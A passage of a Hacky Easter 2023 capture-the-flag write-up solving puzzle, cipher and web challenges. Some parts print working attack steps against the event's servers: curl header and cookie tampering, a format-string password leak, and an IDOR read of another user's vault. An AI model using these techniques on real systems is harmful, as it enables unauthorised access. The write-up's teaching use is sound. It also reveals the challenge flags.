a9bf1e4b4a0c4dfc9d9f1f0e0be938a88a6cef7e8fcaeb5a9caf4bec5dde184e288dec9bae7998ceae7dfdced95e8d9a9aa8db996e5ce7fa1a6908d9edbc0d2b296fdefa890dbc8dcb0f4be839992dcdafdb3a596cb97e2a5ebf28cc7a4d0a0f8d49cb3a188fabf8ad789efb5f3ac8c839ddea189ea97d9c2a0c991d589bebb9dce9db6e6bbe6e9f2a8c2819fa5e48fe8b587b7e38c9dc6ced4d7d9fdfb81a9c0"
# lets interpret this as a bunch of pixels in hex format (6 characters per pixel)
outimg = Image.new( 'RGB', (21,21), "black")
pixels_out = outimg.load()
for i in range(0,len(hexstring),6):
color = hexstring[i:i+6]
pix = int(i/6)
x = int(pix/21)
z = int(pix%21)
pixels_out[(x,z)]=(int(color[0:2],16),int(color[2:4],16),int(color[4:6],16))
# save the image
outimgname = "bouncy.png"
outimg = outimg.resize((500,500), resample=Image.NEAREST)
outimg.save(outimgname,"png")
This gives us an image, but nothing obvious there
We pass it through StegOnline, and whaddya know, one of the bitplanes contains a QR code! ..shoulda known, it’s always the LSB..
Flag
he2023{n0_b0uNc}
A Mysterious Parchment
Challenge
On their holiday, the bunnies came across a sleepy village with an interesting tower. While enjoying the view, one of them found a crumpled parchment in a corner. “Hah, that’s clever!”, the bunnies agreed after quickly solving the code and altered it ever so slightly.
Solution
The challenge said the bunnies altered the parchment slightly, so let’s find the original so we can compare.
Some Googling tells us this is parchment of Bérenger Saunière, found in the Church of Mary Magdalene at Rennes-le-Château by Bérenger Saunière. It is said that these documents led to the discovery of the famed treasure of Rennes-le-Château.
Coded messages were later found by historian Henry Lincoln.
I noticed that some of the letter were moved up compared to the original, so this must be the bunnies code. I simply onderlined all the higher letters and read off the flag
its spells out but is it a cool old parchment it sure is
. The instructions say the flag is all uppercase and no spaces, so we know our flag
Flag
he2023{BUTISITACOOLOLDCODEITSUREIS}
Hamster
Challenge
The Hamster has a flag for you.
http://ch.hackyeaster.com:2301
Note: The service is restarted every hour at x:00.
Solution
We visit the url and get various responsed of how to alter our requests, so we use curl and follow instructions:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ curl http://ch.hackyeaster.com:2301
Howdy, I am the hamster.Please go to /feed
# ok, let's go to /feed
$ curl http://ch.hackyeaster.com:2301/feed
only hamster-agent is allowed
# so let's set a user-agent
$ curl -A "hamster-agent" http://ch.hackyeaster.com:2301/feed
⛳ GET invalid
# maybe POST? PUT? Yes, you want put
$ curl -A "hamster-agent" -X PUT http://ch.hackyeaster.com:2301/feed
🛑 request must come from hackyhamster.org
# ok, let's set a referrer
$ curl -A "hamster-agent" -X PUT -e "hackyhamster.org" http://ch.hackyeaster.com:2301/feed
🍪 brownie not found
# want a cookie? here you go.
$ curl -A "hamster-agent" -X PUT -e "hackyhamster.org" --cookie "brownie=brownie" http://ch.hackyeaster.com:2301/feed
🍪 brownie must be baked
# ok, set the value to baked
$ curl -A "hamster-agent" -X PUT -e "hackyhamster.org" --cookie "brownie=baked" http://ch.hackyeaster.com:2301/feed
🚩 he2023{s1mpl3_h34d3r_t4mp3r1ng}
#whoo, we got it!
Flag
he2023{s1mpl3_h34d3r_t4mp3r1ng}
Lost in (French) Space
Challenge
My friend went to France and sent me coordinates of interesting things he found.
Three of them look legit, but one does not make sense to me.
1
2
3
4
48.998 2.008
45.960 0.090
43.579 1.524
45.007 4.335
🚩 Flag
- the first word of the thing you find
- six lowercase letters
- wrapped in flag format, e.g. he2023{thingy}
Solution
We look up the coordinates in Google Maps, 3 of them are for french observatories, the fourth on (45.960 0.090
) leads us to an empty field, so that must be the one that doesn’t make sense.
1
2
3
4
48.998 2.008 # Observatoire de Triel
45.960 0.090 # ??
43.579 1.524 # Le sentier des planètes
45.007 4.335 # Planète Mars Observatoire Hubert Reeves
Since the other 3 lead to observatories, what if the coordinates are to another planet? Let’s try Mars first since that is part of the name of one of the observatories.
We use NASA’s website Mars Trek and go to the coordinates 45.960 0.090
. There is a crater right there! We find it’s name is Davies crater.
And that is indeed the flag!
Flag
he2023{davies}
Spy Tricks
Challenge
The bunny spymaster found a tiny note in a forgotten dead drop and is now scratching her head; she’s sure she once knew the code, but there are too many swirling aorund in her head right now. Can you help her decipher the message?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
27231 21597 10016 20971 24727 24414 22223 25666 20345 26292
26605 23788 20345 26292 21597 10016 27857 24727 26605 10016
24727 24414 10016 20345 10016 25979 20345 21910 21597 10016
20345 25666 25666 22849 26918 20345 23788 14398 10016 27231
21597 10016 20971 24727 24414 21910 22849 25666 24101 10016
26292 22536 21597 10016 25666 21597 20971 21597 22849 25040
26292 10016 24727 21910 10016 27857 24727 26605 25666 10016
23788 21597 26292 26292 21597 25666 10016 26292 24727 10016
26292 22536 21597 10016 20345 21284 21284 25666 21597 25979
25979 10016 26918 10016 25666 21597 25040 21597 20345 26292
10016 26918 10016 20345 24414 21284 10016 26292 22536 21597
10016 25666 21597 20345 21284 22849 24414 22223 10016 24727
21910 10016 23788 21597 26292 26292 21597 25666 10016 24414
26605 24101 20658 21597 25666 10016 15337 14398 03130 32552
31613 15650 15024 15650 15963 38499 22849 29735 33804 32865
33491 31613 29735 15963 15024 15963 29735 30674 15963 36308
36308 31613 35682 29735 30674 36621 36308 29735 36308 32552
30361 36308 35995 29735 34430 15024 36308 29735 35056 35682
15337 34117 31613 39125 03130 26292 22536 21597 10016 25040
20345 20971 23475 20345 22223 21597 10016 27231 20345 25979
10016 21284 21597 23788 22849 26918 21597 25666 21597 21284
10016 26292 24727 10016 27857 24727 26605 25666 10016 27231
22849 21910 21597 10016 25040 21597 25666 25979 24727 24414
20345 23788 23788 27857 14398 10016 21597 26918 21597 25666
27857 26292 22536 22849 24414 22223 10016 22849 25979 10016
20345 23788 23788 10016 25666 22849 22223 22536 26292 10016
27231 22849 26292 22536 10016 26292 22536 21597 10016 21910
20345 24101 22849 23788 27857 14398 10016 27231 21597 10016
27231 22849 25979 22536 10016 27857 24727 26605 10016 25979
26605 20971 20971 21597 25979 25979 14398 10016 22223 25666
21597 21597 26292 22849 24414 22223 25979 10016 21910 25666
24727 24101 10016 26292 22536 21597 10016 20971 24727 24101
25666 20345 21284 21597 25979 14398 10016 24414 26605 24101
20658 21597 25666 10016 15337 13772 10016 15963 25666 21284
10016 24727 21910 10016 21284 21597 20971 21597 24101 20658
21597 25666 14398 03130
Solution
We applied random characters to this and put it through a cryptogram solver which go us .. quite close
1
WESCONGRATULATESYOUSONSASBAFESARRISALYSWESCONFIRMSTHESRECEIPTSOFSYOURSLETTERSTOSTHESADDREBBSSSREPEATSSSANDSTHESREADINGSOFSLETTERSNUMVERSJYUAXQZQXMIZDVCXZXZXZQXKKXHZQLKZKAJKIZFZKZGHJEXNUTHESPACKAGESWABSDELISEREDSTOSYOURSWIFESPERBONALLYYS
and then took that into python where we made more progress with a 52 character subtitution alphabet:
1
2
3
we congratulate you on a safe arrival. we confirm the receipt of your letter to the address v repeat v and the reading of letter number 1.
HE2023{i_LIKE_303_D3SSEQ_DRS_SHCSP_O0S_NQ1ME}
the package was delivered to your wife personally. everything is all right with the family. we wish you success. greetings from the comrades. number 1: 3rd of december.
Saskia eventually got this into
1
HE2023{i_LIKE_303_B3TTER_BUT_THATS_N0T_PR1ME}
Which we tried, and then tried lower case which wasn’t right (:eyes:)
So we tried doing it their way which was clearly intended and did a common factor finder and oh whoopsie it was actually really simple:
1
2
3
data = open('intercepted_message.txt', 'r').read().replace('\n', ' ').split(' ')
data = map(int, data[0:-1])
print(''.join([chr(x // 313) for x in data]))
and wow that was really simple, we just forgot to also capitalise the I when we uncapitalised the rest:
Flag
he2023{I_like_303_b3tter_but_thats_n0t_pr1me}
Thumper's PWN 3
Challenge
Thumper has been hunting his nemesis, Dr. Evil, for months. He finally located his remote system and is trying to gain access. Can you help him find the right password?
Target: nc ch.hackyeaster.com 2313
Solution
we find out its a format string vulnerability and read values off the stack.
we get something interesting by giving %7$s
as the password
1
2
3
4
5
6
7
$ nc ch.hackyeaster.com 2313
Welcome to the password protected vault
Please enter your password: %7$s
Nope..
5uP3R_s3cUr3_PW
is incorrect. Better luck next time
we use this password to log in and get our flag!
1
2
3
4
5
6
7
$ nc ch.hackyeaster.com 2313
Welcome to the password protected vault
Please enter your password: 5uP3R_s3cUr3_PW
Access granted, here is your flag:
he2023{w3lc0m3_t0_r1ng_3_thump3r}
Flag
he2023{w3lc0m3_t0_r1ng_3_thump3r}
Ghost in a Shell
Challenge
1
2
3
4
5
6
7
8
9
10
_, _,_ _, _, ___ _ _, _ _, _, _,_ __, _, _, , , ,
/ _ |_| / \ (_ | | |\ | /_\ (_ |_| |_ | | | \ /
\ / | | \ / , ) | | | \| | | , ) | | | | , | , | \ /
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~~~ ~~~ ~~~ ~ ~
______________________________________________________________________
,--. ,--. ,--. ,--.
| oo | | oo | | oo | | oo |
| ~~ | | ~~ | | ~~ | | ~~ | o o o o o o o o o o o o
|/\/\| |/\/\| |/\/\| |/\/\|
______________________________________________________________________
Connect to the server, snoop around, and find the flag!
- ssh
ch.hackyeaster.com -p 2306 -l blinky
- password is:
blinkblink
Solution
Let’s log in and see what we have:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ ssh ch.hackyeaster.com -p 2306 -l blinky
blinky@ch.hackyeaster.com's password:
_, _,_ _, _, ___ _ _, _ _, _, _,_ __, _, _, , , ,
/ _ |_| / \ (_ | | |\ | /_\ (_ |_| |_ | | | \ /
\ / | | \ / , ) | | | \| | | , ) | | | | , | , | \ /
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~~~ ~~~ ~~~ ~ ~
______________________________________________________________________
,--. ,--. ,--. ,--.
| oo | | oo | | oo | | oo |
| ~~ | | ~~ | | ~~ | | ~~ | o o o o o o o o o o o o
|/\/\| |/\/\| |/\/\| |/\/\|
______________________________________________________________________
Find the flag!
ab81e1e4280b:~$ ls
about.txt
blinky
flag.txt
ab81e1e4280b:~$ cat flag.txt
|\---/|
| o_o | meow!
\___/
ab81e1e4280b:~$ less flag.txt
|\---/|
| o_o | meow!
\___/
ab81e1e4280b:~$ more flag.txt
|\---/|
| o_o | meow!
\___/
ab81e1e4280b:~$ ls -la
about.txt
blinky
flag.txt
ok, a bunch of commands are acting weird, let’s see if they setup some aliases to make our lives difficult.. yep!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ alias
alias ash='exit'
alias bash='echo "you are not a bash brother" && exit'
alias cat='echo "|\---/|" && echo "| o_o | meow!" && echo " \___/" #'
alias cd='/bin/true'
alias egrep='echo "" #'
alias fgrep='echo "" #'
alias find='echo "command not found: find" #'
alias fzip='/usr/bin/zip -P "/bin/funzip"'
alias grep='echo "" #'
alias id='echo "uid=0(root) gid=0(root) groups=0(root)"'
alias java='echo "command not found: java" #'
alias less='echo "|\---/|" && echo "| o_o | meow!" && echo " \___/" #'
alias ls='/bin/ls /home/blinky | /bin/grep -v home #'
alias more='echo "|\---/|" && echo "| o_o | meow!" && echo " \___/" #'
alias pwd='echo /home/blinky #'
alias python='echo "command not found: python" #'
alias vi='echo "command not found: vi" #'
alias vim='echo "command not found: vim" #'
alias whoami='echo "you are you"'
alias zip='echo "command not found: zip" #'
alias zsh='exit'
to fix this we do
1
2
$ unalias sh
$ sh
to get a clean shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ab81e1e4280b:~$ unalias sh
ab81e1e4280b:~$ sh
b81e1e4280b:~$ cat about.txt
Blinky, ankaŭ konata kiel Akabei, estas la gvidanto de la Fantomoj kaj la ĉefmalamiko de Pac-Man. Li ankaŭ estas prezentita kiel la plej agresema fantomo kiu ĉiam postkuras Pac-Man, kaj malfacilas skui post kiam li komencas. Li povas havi humoron, kaj estas bonaj amikoj kun Pinky, Inky, kaj Clyde. Li ankaŭ havas filinon nomitan Yum-Yum.
Dum origine la ĉefantagonisto en la unua Pac-Man arkadludo, lia antagonisma rolo de la franĉizo estis plejparte malpliigita al aliancano en lastatempaj enkarniĝoj, kvankam li daŭre estas konsiderita la serio-fakta ĉefa antagonisto en refilmigoj de la unua matĉo kaj de pli maljunaj adorantoj.
ab81e1e4280b:~$ cat flag.txt
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣶⣿⣿⣿⣿⣿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⠿⠟⠛⠻⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀don't try⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣆⣀⣀⠀⣿⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀- brute force⠀⠀⠀⠀⠀⠀⢸⠻⣿⣿⣿⠅⠛⠋⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀- wordlists⠀⠀⠀⠀⠀⠀⠀⠀⠘⢼⣿⣿⣿⣃⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣟⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣛⣛⣫⡄⠀⢸⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⣾⡆⠸⣿⣿⣿⡷⠂⠨⣿⣿⣿⣿⣶⣦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⣾⣿⣿⣿⣿⡇⢀⣿⡿⠋⠁⢀⡶⠪⣉⢸⣿⣿⣿⣿⣿⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⡏⢸⣿⣷⣿⣿⣷⣦⡙⣿⣿⣿⣿⣿⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣇⢸⣿⣿⣿⣿⣿⣷⣦⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣵⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⡁⠀
The text is Esperanto, Google translates it as
Blinky, also known as Akabei, is the leader of the Ghosts and Pac-Man’s archenemy. He is also depicted as the most aggressive ghost who always chases Pac-Man, and is hard to shake once he starts. He can have a temper, and is good friends with Pinky, Inky, and Clyde. He also has a daughter named Yum-Yum. While originally the main antagonist in the first Pac-Man arcade game, his antagonistic role of the franchise has been largely diminished to an ally in recent incarnations, although he is still considered the series-de facto main antagonist in remakes of the first game and by older fans.
We also find another directory that was previously hidden from us by the ls
alias, in it we find a zip file (with a curious .fzip
extension):
1
2
3
4
5
6
7
8
9
10
11
12
13
ab81e1e4280b:~$ ls
about.txt blinky flag.txt home
ab81e1e4280b:~$ ls home/
blinky
ab81e1e4280b:~$ ls home/blinky/
blinkyflag.fzip
ab81e1e4280b:~$ cd home/blinky/
ab81e1e4280b:~/home/blinky$ unzip blinkyflag.fzip
Archive: blinkyflag.fzip
[blinkyflag.fzip] flag.txt password:
password incorrect--reenter:
password incorrect--reenter:
skipping: flag.txt incorrect password
We are told we don’t need to brutforce of guess the password, so there must be a hint to the password around here somewhere..
We look more closely to the aliases they set up, and see
1
alias fzip='/usr/bin/zip -P "/bin/fyunzip"'
ah! they fzipped it, which was an alias for zipping with password /bin/funzip
1
2
3
4
ab81e1e4280b:~/home/blinky$ unzip -P "/bin/funzip" blinkyflag.fzip
Archive: blinkyflag.fzip
error: cannot create flag.txt
Permission denied
arg, so close, but we don’t have permissions to create the unzipped file..
let’s just get the zip file off the server and do it locally
1
2
3
4
5
ab81e1e4280b:~/home/blinky$ cat blinkyflag.fzip | base64
UEsDBAoACQAAABCUNlVt6MFvLgAAACIAAAAIABwAZmxhZy50eHRVVAkAAyCOLGMgjixjdXgLAAEE
9QEAAAQUAAAAUr8PpJEFxM8HYAIupC/n3QYqp8g44yt7Z/fJ6CdpTcNVM403V0iMcz9C8hb3DFBL
Bwht6MFvLgAAACIAAABQSwECHgMKAAkAAAAQlDZVbejBby4AAAAiAAAACAAYAAAAAAABAAAApIEA
AAAAZmxhZy50eHRVVAUAAyCOLGN1eAsAAQT1AQAABBQAAABQSwUGAAAAAAEAAQBOAAAAgAAAAAAA
and then locally:
1
2
3
4
5
6
7
8
9
10
11
$ echo "UEsDBAoACQAAABCUNlVt6MFvLgAAACIAAAAIABwAZmxhZy50eHRVVAkAAyCOLGMgjixjdXgLAAEE
9QEAAAQUAAAAUr8PpJEFxM8HYAIupC/n3QYqp8g44yt7Z/fJ6CdpTcNVM403V0iMcz9C8hb3DFBL
Bwht6MFvLgAAACIAAABQSwECHgMKAAkAAAAQlDZVbejBby4AAAAiAAAACAAYAAAAAAABAAAApIEA
AAAAZmxhZy50eHRVVAUAAyCOLGN1eAsAAQT1AQAABBQAAABQSwUGAAAAAAEAAQBOAAAAgAAAAAAA
" | base64 -d > pacman.fzip
$ unzip -P "/bin/funzip" pacman.fzip
Archive: pacman.fzip
extracting: flag.txt
$ cat flag.txt
he2023{al1asses-4-fUn-and-pr0fit}
whoo!!
that was fun :)
Flag
he2023{al1asses-4-fUn-and-pr0fit}
Going Round
Challenge
I got a flag, but it’s encrypted somehow: ip0232j{1t_x_v0z4b3bm__v4xvq}a
It was created using the following service:
http://ch.hackyeaster.com:2305
Note: The service is restarted every hour at x:00.
Solution
We get a service that takes our input and shows the encrypted flag.
It’s clear its doing a rotation cipher (alternating between a rotation of 4 and 8 character), and also swapping the positions of pairs of letters.
It was easy enough to fiddle with our string in the service until we get the encrypted flag we were given, and thus know the real flag.
Flag
he2023{fl1p_n_r0t4t3_in_p4irs}
Number's Station
Challenge
“Testing, testing, one, two, one, zero..” - the bunnies found a strange radio station when looking for uplifting BunnyBop; can you find out what the nice Spanish lady is saying?
Hint:
There are 10 kinds of people in this world.
Those who understand binary, and those who don’t.
Solution
We transcribe it with Whisper which is really annoying since it constantly loses it’s plot and I’ve ended up manually transcribing about half of the audio as a result:
1
2
3
4
5
6
7
8
9
10
11
12
13
0 4 B 6 1 4 1 5 0 4 1 3 0 4 0 7 0 9 0 7 1 7 1 6 0 3 0 9 1 7 0 9 1 8 0 6 0 6 1 6 1 6 0 3 0 4 1 4 0 2
0 4 0 3 1 4 1 7 0 4 0 3 0 6 0 9 0 6 0 2 1 8 1 7 0 9 0 4 1 3 0 3 0 3 0 7 1 8 1 5 0 3 0 4 1 7 1 2 0 9
1 7 1 2 1 3 1 7 0 7 1 9 1 6 0 4 1 8 0 4 0 2 1 8 1 7 0 6 0 8 0 5 0 4 1 5 1 4 0 6 0 9 0 5 1 9 0 2 1 4
1 8 1 3 0 4 0 7 1 6 1 4 0 7 1 6 1 6 1 2 0 5 1 2 0 9 0 8 0 7 1 8 1 5 0 8 0 3 1 2 0 4 1 4 0 6 1 4 1 5
0 6 1 4 1 2 1 7 0 8 0 3 1 2 1 9 0 7 1 8 0 2 0 4 1 3 0 5 1 5 1 3 0 2 1 3 1 2 1 8 0 2 0 2 1 2 1 8 0 5
0 4 1 2 1 3 1 6 0 9 1 2 0 3 1 4 1 5 1 8 1 4 1 6 0 3 1 6 1 5 1 8 0 6 1 9 0 7 0 3 0 8 1 7 1 7 0 9 1 8
1 4 1 3 1 7 0 4 1 9 0 5 1 6 1 3 1 2 1 2 1 8 0 7 1 8 1 4 1 2 0 2 0 6 1 7 1 7 0 4 1 4 1 9 1 3 0 7 0 4
0 3 0 6 0 2 1 4 1 6 1 9 1 9 0 9 0 4 1 6 0 7 1 7 0 8 1 2 1 8 1 3 1 7 1 8 0 2 1 7 1 9 0 4 0 2 0 2 1 3
1 2 0 9 0 5 1 2 1 9 0 9 0 5 0 4 0 9 0 5 1 8 1 7 0 4 1 5 1 6 0 5 1 7 0 3 1 6 1 3 0 9 1 8 1 4 0 4 1 6
0 2 1 3 1 3 1 9 0 5 1 8 0 5 1 8 0 6 1 5 1 8 0 9 1 2 1 2 1 7 0 3 0 5 1 3 1 3 0 4 1 7 0 7 0 6 1 2 0 4
1 5 1 2 0 3 0 8 0 6 1 9 1 6 0 2 1 3 1 3 0 7 0 5 0 9 0 2 1 3 0 2 1 7 1 9 1 3 0 9 1 6 0 5 0 9 0 4 0 4
1 4 1 7 0 6 0 3 0 4 1 7 0 4 1 8 1 6 0 4 1 4 1 6 1 6 1 2 0 6 1 4 1 2 0 5 1 7 1 8 1 3 0 6 0 3 1 3 1 7
1 4 0 4 0 7 1 3 1 8 0 9 1 2 1 7 1 7 1 2 1 2 0 5 1 7
the even columns are all either 0 or 1 (with the exception of the first ‘b’ I’m guessing for ‘binary’). The newlines were inserted around roughly the pauses in the audio.
So let’s pull out those two columns:
1
2
3
4
5
6
7
8
9
10
11
12
13
4645434797763979866663442
4347436962879433378534729
7237796484287685454695924
8347647662529878583244645
6427832978243553232822285
4236923458463658697387798
4374956322878422677449374
3624699946778283782794223
2952995495874565736398446
2339585865892273533477624
5238696233759232793965944
4763474864466264257836337
4473892772257
And the binary ones:
1
2
3
4
5
6
7
8
9
10
11
12
13
0B11010000110010100110010
0011000000110010001100110
1111011010011000011000101
1100110111010001100101011
0111001101001011011100110
0111010111110111010001101
1110101111101110011011100
0001111001010111110110001
1001100000110110101101101
0111010101101110011010010
1100011011000010111010000
1100010110111101101110011
1001101111101
which turn up… nothing on ascii2hex. Odd. Could be transcription errors, but, still.
Saskia points out that if you add a zero at the start, then it decodes completely properly.
Flag
he2023{L1stening_to_spy_c0mmunicat1ons}
Igor's Gory Passwordsafe
Challenge
You found the following letter:
Hi Peter
Thanks again for your help in cryptography to make the passwordsafe secure. Now
- The passwords of the user are stored in a irreversible way (bcrypt)
- All passwords in the safe are encrypted by a strong symmetric key
Kind regards, Roy
Open the passwordsafe at at http://ch.hackyeaster.com:2312 to get your 🚩 flag.
Note: The service is restarted every hour at x:00.
Solution
website where we can create an account, then add passwords to our vault, en from there there is an option to copy, edit or delete the passwords in the vault
So we create an account. We cannot make one with the name igor, so probably we need to impersonate igor to get into his vault?
When we create a password, it gets id 12
, I wonder why it starts there..
We find the code for copying a password, its a simple call to /get/<id>
..so let’s just try some other ids?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$(document).ready(function () {
console.log("Application is running")
$(".copypassword").click(function (obj) {
if (obj.target.id.startsWith("copypassword_")) {
id = obj.target.id.split("_")[1];
$.get("/get/" + id, function (data, status) {
if (status == "success") {
navigator.clipboard.writeText(data);
}
});
}
});
$(document).ready(function(){
setInterval(flashingEyes,1000);
});
function flashingEyes(){
$("#eyes").fadeIn(400).delay(200).fadeOut(400);
}
});
In the end, we find our flag when we try id 07
(by simply going to http://ch.hackyeaster.com:2312/get/07), we get the response he2023{1d0R_c4n_d3str0y_ur_Crypt0_3ff0rt}
The flag refers to Insecure direct object reference (IDOR)
(other id’s contain responses like SQLI_doesnt_help
, verySecure
, Well_not_the_flag
, White_Rabbit_99
)
ok, that was.. easier than I thought it was going to be ..was definitely overthinking this one for the longest time.
Flag
he2023{1d0R_c4n_d3str0y_ur_Crypt0_3ff0rt}
Singular
Challenge
Wow, so many flags!
Find the real flag, which is unique in multiple ways.
Hint: This one can be solved with linux commands, with a one-liner.
Solution
Here it is as a one liner:
1
cat writeupfiles/singular/singular.txt | sort | uniq -c | grep ' 1 ' | awk '{print length($0), $0}' | grep $(cat writeupfiles/singular/singular.txt | sort | uniq -c | grep ' 1 ' | awk '{print length($0)}' | sort | uniq -c | grep ' 1 ' | awk '{print $2}')
It looks for unique flags, then finds the one that has a unique length (33 characters).
Sounds simple? hell no, this one really stumped me for a long time, I solved half of level 8 before this one lol. Below you can find a lot of the things we tried and notes we made of a lot of the rabbit holes we went down :P
First let’s get the real uniques:
1
cat singular.txt | sort | uniq -c | grep ' 1 ' | egrep he.* -o > unique.txt
Those are unique within the entire file which we can reasonably assume from the challenge description.
Tried a bunch of things next that didn’t work, requiring each word to be unique in the file, in the unique flags, in its column, ..nothing. ..maybe the words all synonyms of unique? nope nope nope.
In discord we see the additional hint:
While it’s unique from top to bottom, it’s unique from left to right as well
So let’s look for things which do not re-use a single letter letter from left to right:
1
2
$ cat unique.txt | egrep '\{(.*)\}' -o | egrep '([^_]).*\1' --invert-match
$
nothing. Every single entry re-uses letters left to right.
Word Frequency
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ cat unique.txt | egrep '\{(.*)\}' -o | wf | sort -n
Total words: 960
1 Mr
1 act
1 as
1 because
1 begin
1 body
1 boy
1 cause
1 crime
...
10 represent
10 ten
10 yes
11 become
11 party
11 service
lots of unique, and non-unique words.
1
2
3
4
5
6
7
8
9
10
11
12
$ egrep -f <( cat unique.txt | egrep '\{(.*)\}' -o | wf | sort -n | egrep '\s1\s' | cut -f 2 | sed -r 's/(.*)/_?\1_?/g') unique.txt
Total words: 960
he2023{according_physical_success_ask}
he2023{account_consider_small_medical}
he2023{action_and_cell_indeed}
he2023{activity_know_shoulder_bring}
he2023{actually_still_thank_available}
he2023{add_girl_everything_care}
he2023{add_measure_staff_will}
he2023{affect_help_check_season}
he2023{again_different_economic_improve}
he2023{alone_of_Mrs_trade}
But none of them have two unique words (based on grep colouring). Similar result of you check the extremely non-unique ones:
1
$ egrep -f <( cat unique.txt | egrep '\{(.*)\}' -o | wf | sort -n | egrep '\s11\s' | cut -f 2 | sed -r 's/(.*)/_?\1_?/g') unique.txt
Capitals?
Not that many have capitals
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ cat unique.txt|grep '[A-Z]'
he2023{American_address_item_book}
he2023{American_environmental_parent_like}
he2023{Congress_power_size_particular}
he2023{I_nearly_book_bar}
he2023{I_particularly_name_positive}
he2023{TV_economic_respond_race}
he2023{admit_change_start_Congress}
he2023{adult_number_I_year}
he2023{age_Republican_bed_must}
he2023{alone_of_Mrs_trade}
he2023{among_American_author_agreement}
he2023{blood_other_give_I}
he2023{especially_Mrs_cell_majority}
he2023{fall_still_TV_the}
he2023{fund_music_hotel_PM}
